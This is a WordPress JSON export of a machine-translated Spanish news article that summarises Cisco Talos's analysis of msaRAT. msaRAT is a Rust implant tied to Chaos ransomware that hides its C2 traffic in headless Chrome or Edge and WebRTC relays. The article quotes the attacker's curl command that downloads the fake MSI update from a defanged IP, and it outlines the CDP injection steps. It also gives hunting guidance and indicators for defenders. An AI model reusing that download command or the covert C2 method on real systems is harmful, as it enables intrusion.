{"id":1736,"date":"2026-07-23T17:12:15","date_gmt":"2026-07-23T17:12:15","guid":{"rendered":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/23\/chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx\/"},"modified":"2026-07-23T17:12:15","modified_gmt":"2026-07-23T17:12:15","slug":"chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx","status":"publish","type":"post","link":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/23\/chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx\/","title":{"rendered":"Chaos Ransomware utiliza msaRAT para enrutar el tr\u00e1fico C2 a trav\u00e9s de Chrome y Edge sin cabeza \u2013 CYBERDEFENSA.MX"},"content":{"rendered":"<div id=\"articlebody\">\n<p>El grupo de ransomware Chaos ejecut\u00f3 su comando y control a trav\u00e9s del propio navegador de la v\u00edctima. Cisco Talos el jueves <a href=\"https:\/\/blog.talosintelligence.com\/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel\/\" target=\"_blank\">msaRAT detallado<\/a>el implante Rust detr\u00e1s de \u00e9l, encontrado en una m\u00e1quina Windows comprometida delante del cifrador.<\/p>\n<p>El implante nunca abre una conexi\u00f3n saliente propia. Su proceso habla con <code>127.0.0.1<\/code> y nada m\u00e1s. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a trav\u00e9s del protocolo Chrome DevTools, la API de depuraci\u00f3n propia del navegador.<\/p>\n<p>Cada mensaje C2 viaja desde all\u00ed a trav\u00e9s de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La direcci\u00f3n del servidor del atacante nunca aparece.<\/p>\n<h2>Chrome habla<\/h2>\n<p>msaRAT busca primero Chrome o Edge a trav\u00e9s de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ning\u00fan navegador coincidente, se omite la ruta CDP.<\/p>\n<p>Cuando encuentra uno, inicia el navegador sin una ventana visible usando <code>--headless=new<\/code>habilita CDP con <code>--remote-debugging-port<\/code>y lo apunta a un punto separado <code>--user-data-dir<\/code>.<\/p>\n<p>Desde <a href=\"https:\/\/developer.chrome.com\/blog\/remote-debugging-port\" target=\"_blank\">Cromo 136<\/a>Google ya no respeta el interruptor de depuraci\u00f3n del perfil predeterminado, un cambio anunciado en marzo de 2025 despu\u00e9s de que los ladrones de informaci\u00f3n tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el an\u00e1lisis de Talos muestra que toque en absoluto el perfil de la v\u00edctima.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thehackernews.uk\/ai-vuln-protection-d\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Ciberseguridad\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjQl2axNwsfhbXOFynrg_uAZsvHi3OvNGSA8KJO-BKR8Xm3x7yjKV3EvfY4v5mwXx6LF0uWFb9h9d9iAV_Pi-YYhqimX9wx4OaLdDJEdR215Xrxq_PAtXkaLfQso4pTSjbj6fvh_ZTliLpzWZSZfcoZgyXtKwhN-SSDDlmbtUqGLshc0KqYQGWYHMN52Sl1\/s728-e100\/zz-d.jpg\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>El malware pregunta <code>\/json\/list\/<\/code> para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pesta\u00f1a, desactiva la Pol\u00edtica de seguridad de contenido con <code>Page.setBypassCSP<\/code>registra cinco devoluciones de llamada a trav\u00e9s <code>Runtime.addBinding<\/code>y llamadas <code>Runtime.evaluate<\/code> para inyectar JavaScript almacenado en texto sin formato en el binario <code>.rdata<\/code> secci\u00f3n.<\/p>\n<p>Cuatro nombres de devoluci\u00f3n de llamada, <code>msaOpen<\/code>, <code>msaClose<\/code>, <code>msaError<\/code>y <code>msaMessage<\/code>le dio a Talos el nombre del malware. El quinto es <code>dataAck<\/code>.<\/p>\n<p>Ese JavaScript obtiene la configuraci\u00f3n STUN y TURN de un trabajador de Cloudflare en <code>is-01-ast[.]ols-img-12[.]workers[.]dev<\/code>con encabezados Origin y Referer disfrazados de tr\u00e1fico del sitio de Microsoft. Crea una conexi\u00f3n entre pares y publica una oferta SDP en el mismo punto final.<\/p>\n<p>La respuesta regresa sin candidatos ICE y la direcci\u00f3n de conexi\u00f3n establecida en <code>0.0.0.0<\/code>por lo que no se puede formar ning\u00fan enlace directo de igual a igual, y todo el canal pasa por el rel\u00e9 de Twilio en <code>global.turn.twilio.com<\/code>. Una vez que el canal de datos est\u00e1 activo, el Trabajador se sale del camino.<\/p>\n<p>El tr\u00e1fico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con <code>0xFE<\/code> marco de apret\u00f3n de manos desde el C2 inmediatamente despu\u00e9s de la conexi\u00f3n.<\/p>\n<p>El implante pasa los marcos de comando entrantes a <code>cmd.exe \/e:ON \/v:OFF \/d \/c <cmd\/><\/code> para su ejecuci\u00f3n. Talos considera que la cola de env\u00edo y el control de flujo probablemente est\u00e9n dise\u00f1ados para mover grandes cargas \u00fatiles, como capturas de pantalla o archivos, de manera confiable.<\/p>\n<p>Ni la mitad del transporte es nueva. <a href=\"https:\/\/www.praetorian.com\/blog\/ghost-calls-abusing-web-conferencing-for-covert-command-control-part-1-of-2\/\" target=\"_blank\">Pretoriano mostrado en agosto de 2025.<\/a> que la infraestructura TURN de las plataformas de conferencias podr\u00eda transportar un canal C2 completo, y <a href=\"https:\/\/sansec.io\/research\/webrtc-skimmer\" target=\"_blank\">Sansec encontr\u00f3 un skimmer en marzo de 2026<\/a> utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas m\u00e1s all\u00e1 de la inspecci\u00f3n HTTP.<\/p>\n<p>msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a trav\u00e9s de CDP.<\/p>\n<h2>El camino de entrada es el mismo de siempre<\/h2>\n<p>msaRAT llega despu\u00e9s de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice c\u00f3mo se lleg\u00f3 a esta m\u00e1quina. el grupo <a href=\"https:\/\/blog.talosintelligence.com\/new-chaos-ransomware\/\" target=\"_blank\">libro de jugadas documentado<\/a> Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.<\/p>\n<p>El implante en s\u00ed baja con un \u00fanico comando de flexi\u00f3n:<\/p>\n<p><code>curl.exe https:\/\/172.86.126[.]18:443\/update_ms.msi -o C:\\programdata\\update_ms.msi<\/code><\/p>\n<p>Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de n\u00fameros de puerto sin inspecci\u00f3n de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualizaci\u00f3n de Windows y se activa una acci\u00f3n personalizada al final de la instalaci\u00f3n para cargar una DLL integrada directamente en la memoria.<\/p>\n<p>Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecuci\u00f3n as\u00edncrono de Tokio, exportando una funci\u00f3n llamada <code>RUN<\/code> para que el instalador llame.<\/p>\n<h2>Notas de caza<\/h2>\n<p>msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ning\u00fan parche de navegador que aplicar para la t\u00e9cnica en s\u00ed.<\/p>\n<p>La se\u00f1al que perdura es el comportamiento del proceso. Como dice Talos, \u00abse considera que todas las comunicaciones externas se originan en un proceso de navegaci\u00f3n leg\u00edtimo\u00bb. Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con <code>--headless=new<\/code> y <code>--remote-debugging-port<\/code> colocar.<\/p>\n<p>Luego correlacione ese proceso con el tr\u00e1fico de bucle invertido al puerto de depuraci\u00f3n y al WebRTC saliente. Donde la telemetr\u00eda captura mensajes CDP, <code>Runtime.addBinding<\/code> y <code>Runtime.evaluate<\/code> son los pivotes. Las flotas que ejecutan automatizaci\u00f3n de navegadores o CI tendr\u00e1n sus propios trabajos sin cabeza para ajustar.<\/p>\n<div class=\"dog_two clear\">\n<div class=\"cf\"><a href=\"https:\/\/thn.news\/sygnia-webinar\" rel=\"nofollow noopener sponsored\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"lazyload\" alt=\"Ciberseguridad\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhleDdO_4O9-8Pkmidym8Pi9yV4V4jI_M5U0iNRDuoW5Jz3pq7DskZI9OqIChqmY1soaW1ppsC8VLeO55vxSh1m5Q8MJ9ZHuEOSNO5q7K-LwrF6IxrRfCIJOFyoBGaLXGZpkSo8tDirSz-9LmmoOs31tQTlvJWBMLiWJKqMFFaiMmNLV3l-p8zXaFm1VmGG\/s728-e100\/sygnia-d-2.png\" width=\"729\" height=\"91\"\/><\/a><\/div>\n<\/div>\n<p>Hasta el 23 de julio de 2026, Talos no ha publicado ning\u00fan hash de archivos para msaRAT. El conjunto de indicadores p\u00fablicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su <a href=\"https:\/\/github.com\/Cisco-Talos\/IOCs\/blob\/main\/2026\/07\/chaos-msarat.txt\" target=\"_blank\">repositorio del COI<\/a>. Cobertura de detecci\u00f3n de Talos:<\/p>\n<ul>\n<li>almeja AV: <code>Win.Downloader.ChaosRaas-10060321-0<\/code><\/li>\n<li>Bufido 2: <code>1:66839<\/code>, <code>1:66840<\/code>, <code>1:66841<\/code><\/li>\n<li>Bufido 3: <code>1:66839<\/code>, <code>1:301587<\/code><\/li>\n<\/ul>\n<p>Esos indicadores son \u00fatiles pero limitados. <code>workers.dev<\/code> es <a href=\"https:\/\/developers.cloudflare.com\/workers\/configuration\/routing\/workers-dev\/\" target=\"_blank\">Dominio de implementaci\u00f3n compartido de Cloudflare<\/a>emitido para todas las cuentas de Workers, y los atacantes lo utilizaron el a\u00f1o pasado para organizar cargas \u00fatiles y t\u00fanel C2.<\/p>\n<p>Twilio ejecuta un servicio STUN y TURN leg\u00edtimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organizaci\u00f3n e interrumpir\u00e1 el tr\u00e1fico de trabajo para todos los que los utilicen. Talos lo lee como la raz\u00f3n probable por la que se eligi\u00f3 a Cloudflare Workers para la se\u00f1alizaci\u00f3n.<\/p>\n<p>Trate esto como una artesan\u00eda observada en lugar de una campa\u00f1a mesurada. El informe no identifica a la v\u00edctima, no establece cu\u00e1ntas organizaciones recibieron msaRAT, no dice cu\u00e1ndo comenz\u00f3 a utilizarse el malware ni explica c\u00f3mo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.<\/p>\n<p>La entrega no tiene nada de especial: una descarga curl, una actualizaci\u00f3n falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es d\u00f3nde vive el C2 despu\u00e9s, y ambos indicadores publicados por Talos se pueden cambiar ma\u00f1ana. Un navegador sin cabeza generado por un instalador es m\u00e1s dif\u00edcil de mover porque es la t\u00e9cnica.<\/p>\n<p>msaRAT busca dos navegadores y necesita que uno de ellos est\u00e9 presente y autorizado. En una flota de Windows, ese no es un requisito exigente.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>El grupo de ransomware Chaos ejecut\u00f3 su comando y control a trav\u00e9s del propio navegador de la v\u00edctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detr\u00e1s de \u00e9l, encontrado en una m\u00e1quina Windows comprometida delante del cifrador. El implante nunca abre una conexi\u00f3n saliente propia. Su proceso habla con 127.0.0.1 y nada m\u00e1s. Inicia [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1379,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,5],"tags":[4001,2712,17,24,906,4000,3999,36,508,716,1890,76,216],"class_list":["post-1736","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-trending","tag-cabeza","tag-chaos","tag-chrome","tag-cyberdefensa-mx","tag-edge","tag-enrutar","tag-msarat","tag-para","tag-ransomware","tag-sin","tag-trafico","tag-traves","tag-utiliza"],"_links":{"self":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1736","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/comments?post=1736"}],"version-history":[{"count":0,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1736\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media\/1379"}],"wp:attachment":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media?parent=1736"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/categories?post=1736"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/tags?post=1736"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}